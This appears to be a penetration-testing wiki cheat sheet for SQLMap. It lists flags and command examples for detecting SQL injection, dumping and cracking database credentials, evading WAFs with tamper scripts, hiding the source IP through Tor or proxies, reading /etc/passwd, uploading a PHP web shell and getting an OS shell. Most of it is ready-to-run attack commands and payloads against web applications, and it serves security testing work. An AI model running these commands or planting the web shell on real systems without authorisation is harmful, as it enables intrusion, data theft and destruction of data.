tools

Overview

SQLMap is a free, open-source penetration testing tool written in Python that automates detection and exploitation of SQL injection vulnerabilities. It handles detection, fingerprinting, enumeration, data extraction, and — given sufficient privileges — OS-level exploitation including file read/write and interactive shell access. Supports 30+ DBMSes including MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and MariaDB. See SQL Injection for technique context on the underlying attack types.

Target / Context

Web applications with SQL injection vulnerabilities in GET/POST parameters, cookies, headers, or JSON/XML request bodies. Pairs with Burp Suite to capture and replay complex authenticated requests.


Installation

ℹ︎Installation Commands:
sudo apt install sqlmap

Manual install:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python sqlmap.py

Basic Usage

ℹ︎Basic Usage:
sqlmap -u "http://target.com/page?id=1" --batch

Basic help

sqlmap -h

Full advanced help listing all options

sqlmap -hh
sqlmap --wizard

Flags & Options

ℹ︎Flags & Options:
FlagDescriptionExample
-u / —urlTarget URL-u “http://target.com/page?id=1
-rRead full HTTP request from file-r req.txt
—dataPOST body data—data ‘uid=1&name=test’
-pSpecific parameter to test-p uid
—cookieSupply cookie header—cookie=‘PHPSESSID=abc123’
-H / —headerSet custom header-H ‘X-Forwarded-For: 127.0.0.1’
—random-agentRandom User-Agent string—random-agent
—mobileImitate smartphone browser—mobile
—methodOverride HTTP method—method=PUT
—batchNon-interactive mode; accept defaults—batch
—dbsEnumerate all databases—dbs
-DTarget database-D testdb
—tablesList tables in database—tables -D testdb
-TTarget table-T users
-CTarget specific columns-C name,surname
—dumpDump table records—dump -T users -D testdb
—dump-allDump all databases—dump-all —exclude-sysdbs
—dump-formatOutput format (HTML or SQLite)—dump-format=HTML
—start / —stopRow range to dump by ordinal—start=2 —stop=3
—whereWHERE condition filter on dump—where=“name LIKE ‘f%’“
—exclude-sysdbsSkip system databases—exclude-sysdbs
—schemaDump full DB schema—schema
—searchSearch table/column names by keyword—search -T user
—bannerGet DBMS version banner—banner
—current-userGet current DB user—current-user
—current-dbGet current database name—current-db
—is-dbaCheck if current user has DBA privileges—is-dba
—passwordsDump and crack DB user passwords—passwords —batch
—allFull enumeration of everything accessible—all —batch
—levelScan depth 1–5 (default 1)—level=5
—riskRisk level 1–3 (default 1); 3 enables OR payloads—risk=3
—techniqueLimit to specific injection types (BEUSTQ)—technique=BEU
—prefixStatic prefix to wrap injection vector—prefix=”%’))“
—suffixStatic suffix to wrap injection vector—suffix=”— -“
—union-colsForce exact column count for UNION injection—union-cols=3
—union-charOverride NULL fill value in UNION—union-char=‘a’
—union-fromAppend FROM clause to UNION query—union-from=dual
—no-castDisable CAST() wrapping on retrieved data—no-cast
—codeHTTP code that signals TRUE response—code=200
—titlesDetect TRUE/FALSE via <title> tag comparison—titles
—stringString present in TRUE response only—string=success
—text-onlyStrip HTML; compare visible text only—text-only
—parse-errorsDisplay DBMS errors inline during run—parse-errors
-tSave full traffic to output file-t traffic.txt
-vVerbosity level 0–6 (3 shows payloads)-v 3
—proxyRoute all traffic through a proxy—proxy=“http://127.0.0.1:8080
—proxy-fileCycle through a list of proxies—proxy-file=proxies.txt
—torUse Tor SOCKS proxy (port 9050/9150)—tor
—check-torVerify Tor is reachable before running—check-tor
—csrf-tokenAnti-CSRF token parameter name—csrf-token=“csrf_token”
—randomizeRandomize value of a parameter each request—randomize=rp
—evalEvaluate Python expression before each request—eval=“import hashlib; h=hashlib.md5(id).hexdigest()“
—tamperApply tamper script(s)—tamper=between,randomcase
—list-tampersList all available tamper scripts—list-tampers
—skip-wafSkip WAF identification (reduce noise)—skip-waf
—chunkedSplit POST body into transfer-encoding chunks—chunked
—crawlCrawl site to discover injection points—crawl=2
—formsAutomatically parse and test forms—forms
-gUse Google dork to find targets-g “inurl:id=“
—file-readRead a file from the server filesystem—file-read “/etc/passwd”
—file-writeLocal file to write to the server—file-write shell.php
—file-destDestination path on the server—file-dest “/var/www/html/shell.php”
—os-shellAttempt interactive OS shell via SQLi—os-shell

Common Use Cases

GET-based Testing

Supply a URL with a GET parameter. SQLMap tests injection points automatically and reports which type succeeded.

ℹ︎Commands:
sqlmap -u "http://target.com/page?id=1" --batch
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D testdb --tables
sqlmap -u "http://target.com/page?id=1" -D testdb -T users --dump

POST-based Testing

Use --data for inline POST bodies, or mark the injectable parameter with * to restrict testing to that field.

ℹ︎Commands:
sqlmap 'http://target.com/' --data 'uid=1&name=test' --batch

Asterisk targets uid only

sqlmap 'http://target.com/' --data 'uid=1*&name=test' --batch

Full HTTP Request File

Use -r for complex requests with many headers, session cookies, or long bodies. Capture from Burp (Save Item) or browser DevTools (Copy → Copy Request Headers). Mark the injectable parameter inside the file with *.

ℹ︎Commands:
sqlmap -r req.txt --batch
sqlmap -r req.txt --batch --dbs
sqlmap -r req.txt -D mydb -T users --dump

To pin the injection point inside the file:

GET /?id=1* HTTP/1.1

cURL-converted Request

In browser DevTools → Network tab, right-click a request → Copy as cURL. Replace curl with sqlmap and append flags.

ℹ︎Commands:
sqlmap 'http://target.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Connection: keep-alive' --batch

JSON / XML Body Testing

SQLMap automatically recognises JSON and XML-formatted POST bodies. No special flag needed — pass via -r or --data and mark the injectable field with * if auto-detection fails.

ℹ︎Commands:
sqlmap -r json_req.txt --batch

Basic DB Enumeration

Run these together after detection to profile the database before dumping data.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --banner --current-user --current-db --is-dba --batch

Table and Row Enumeration

Limit output by specifying columns or row ordinals — critical for large tables.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --tables -D testdb
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb -C name,surname
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
sqlmap -u "http://target.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

Retrieve the full database structure, or search for tables and columns by keyword across all databases.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --schema

All tables containing “user”

sqlmap -u "http://target.com/?id=1" --search -T user

All columns containing “pass”

sqlmap -u "http://target.com/?id=1" --search -C pass

Password Enumeration and Cracking

SQLMap automatically attempts dictionary-based cracking (31 hash algorithms, 1.4M entries) when it encounters password hashes during a dump. --passwords targets DB-level user credential tables. --all combined with --batch retrieves everything accessible without prompts — useful for coverage but output must be reviewed manually.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --dump -D master -T users --batch
sqlmap -u "http://target.com/?id=1" --passwords --batch
sqlmap -u "http://target.com/?id=1" --all --batch

Injection Type Detection Reference

SQLMap reports detected injection types using BEUSTQ notation in its output. See SQL Injection for full details on each type.

CodeTypeExample Payload
BBoolean-based blindAND 1=1
EError-basedAND GTID_SUBSET(@@version,0)
UUNION query-basedUNION ALL SELECT 1,@@version,3
SStacked queries; DROP TABLE users
TTime-based blindAND 1=IF(2>1,SLEEP(5),0)
QInline queriesSELECT (SELECT @@version) from

Attack Tuning

Level and Risk

Default run tests 72 payloads. Level 5 + Risk 3 expands to 7,865 — only use when the default run fails or the target requires OR-based payloads (e.g., login forms). Risk 3 enables OR payloads, which can cause data loss on writable SQL statements, so use carefully.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --level=5 --risk=3 --batch

-v 3 shows [PAYLOAD] lines

sqlmap -u "http://target.com/?id=1" --level=5 --risk=3 -v 3 --batch

Prefix and Suffix

Use when the vulnerable query wraps the parameter in characters that break standard boundary detection. The prefix/suffix enclose every vector payload.

ℹ︎Commands:
sqlmap -u "http://target.com/?q=test" --prefix="%'))" --suffix="-- -" --batch

Example: target query is WHERE id LIKE ((’ + input + ’)) — prefix closes the brackets, suffix comments the rest out.

Technique Selection

Force specific injection type(s) to skip slow or disruptive techniques.

ℹ︎Commands:

Skip time-based and stacked

sqlmap -u "http://target.com/?id=1" --technique=BEU --batch

Error-based only

sqlmap -u "http://target.com/?id=1" --technique=E --batch

UNION Tuning

Provide column count, fill character, or a required FROM appendix when SQLMap fails UNION detection automatically.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --union-cols=3 --batch
sqlmap -u "http://target.com/?id=1" --union-char='a' --batch

Required on Oracle

sqlmap -u "http://target.com/?id=1" --union-from=dual --batch

Response Differentiation

When TRUE/FALSE responses differ only subtly, pin detection to a specific signal rather than full response comparison.

ℹ︎Commands:

HTTP 200 = TRUE

sqlmap -u "http://target.com/?id=1" --code=200 --batch

sqlmap -u “http://target.com/?id=1” —titles —batch — compare <title> tags String present in TRUE only

sqlmap -u "http://target.com/?id=1" --string="Welcome" --batch

Strip all HTML tags

sqlmap -u "http://target.com/?id=1" --text-only --batch

Bypassing Web Application Protections

Anti-CSRF Token Bypass

SQLMap re-fetches the target page before each request to parse a fresh token value. Specify the token parameter name via --csrf-token.

ℹ︎Commands:
sqlmap -r req.txt --csrf-token="csrf_token" --batch

Unique Value Bypass

Some apps require a unique parameter per request to detect and block automation. --randomize generates a new random value for that parameter on every request.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1&rp=29125" --randomize=rp --batch -v 5

Calculated Parameter Bypass

When one parameter must be a computed hash of another (e.g., h=MD5(id)), use --eval to run Python code before each request to set the correct value.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch

IP Concealment

Route through a proxy or Tor to hide source IP or bypass IP blacklists. Proxy lists are cycled sequentially.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --proxy="socks4://<proxy-ip>:<port>" --batch
sqlmap -u "http://target.com/?id=1" --proxy-file=proxies.txt --batch
sqlmap -u "http://target.com/?id=1" --tor --check-tor --batch

User-Agent Blacklist Bypass

The default SQLMap User-Agent (sqlmap/1.4.9) is on most WAF block lists. Always use --random-agent if encountering immediate 5XX errors.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --random-agent --batch

WAF Detection and Bypass

SQLMap auto-identifies WAFs using the identYwaf library (80+ signatures). Use --skip-waf to suppress this step and reduce fingerprinting noise on the wire.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --skip-waf --batch

Tamper Scripts

Python scripts that transform payloads in-flight to evade WAF/IPS signatures. Chain multiple with commas; SQLMap applies them in predefined priority order.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --tamper=between,randomcase --batch

Full list with descriptions

sqlmap --list-tampers

Notable Tamper Scripts

Tamper ScriptDescription
0eunionReplaces UNION with e0UNION
base64encodeBase64-encodes the entire payload
betweenReplaces > with NOT BETWEEN 0 AND # and = with BETWEEN # AND #
commalesslimitReplaces LIMIT M, N with LIMIT N OFFSET M (MySQL)
equaltolikeReplaces all = with LIKE
halfversionedmorekeywordsAdds versioned comment before each keyword (MySQL)
modsecurityversionedWraps full query in versioned comment (MySQL)
modsecurityzeroversionedWraps full query in zero-versioned comment (MySQL)
percentageAdds % before each character — SELECT becomes %S%E%L%E%C%T
plus2concatReplaces + with CONCAT() (MSSQL)
randomcaseRandomizes keyword casing — SELECT becomes SEleCt
space2commentReplaces spaces with /**/
space2dashReplaces spaces with --<random>\n
space2hashReplaces spaces with #<random>\n (MySQL)
space2mssqlblankReplaces spaces with random blank chars (MSSQL)
space2plusReplaces spaces with +
space2randomblankReplaces spaces with random blank characters
symboliclogicalReplaces AND/OR with &&/&#124;&#124;
versionedkeywordsWraps non-function keywords in versioned comments (MySQL)
versionedmorekeywordsWraps all keywords in versioned comments (MySQL)

Chunked Transfer Encoding

Splits the POST request body into chunks so blacklisted SQL keywords straddle chunk boundaries and are not matched by pattern-based WAFs.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --data 'uid=1' --chunked --batch

HTTP Parameter Pollution (HPP)

Splits the payload across duplicate parameter names. Target platforms like ASP/IIS concatenate them server-side, reconstructing the full payload after inspection.

ℹ︎Example:
?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users

Error Handling and Debugging

ℹ︎Commands:

Show DBMS errors inline

sqlmap -u "http://target.com/?id=1" --parse-errors --batch

Save raw traffic to file

sqlmap -u "http://target.com/?id=1" -t traffic.txt --batch

Show payloads in output

sqlmap -u "http://target.com/?id=1" -v 3 --batch

Maximum verbosity

sqlmap -u "http://target.com/?id=1" -v 6 --batch

Route through Burp

sqlmap -u "http://target.com/?id=1" --proxy="http://127.0.0.1:8080" --batch

OS Exploitation

Requires DBA privileges or the FILE privilege (MySQL). File reads are more commonly available; file writes require secure-file-priv to be disabled and write permission on the target directory.

File Read

Reads a server-side file via the SQL injection vulnerability and saves it to the local SQLMap output directory.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --is-dba --batch
sqlmap -u "http://target.com/?id=1" --file-read "/etc/passwd" --batch

Output saved to: ~/.sqlmap/output/<host>/files/_etc_passwd

File Write / Web Shell Upload

Writes a local file to a path on the server. Most commonly used to plant a PHP web shell for code execution.

ℹ︎Commands:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u "http://target.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" --batch
curl http://target.com/shell.php?cmd=id

OS Shell

Attempts to establish an interactive OS shell using the best available method — web shell write, UDF (User-Defined Function), or xp_cmdshell on MSSQL. If UNION technique fails, fall back to error-based.

ℹ︎Commands:
sqlmap -u "http://target.com/?id=1" --os-shell --batch

Force error-based

sqlmap -u "http://target.com/?id=1" --os-shell --technique=E --batch


References / Images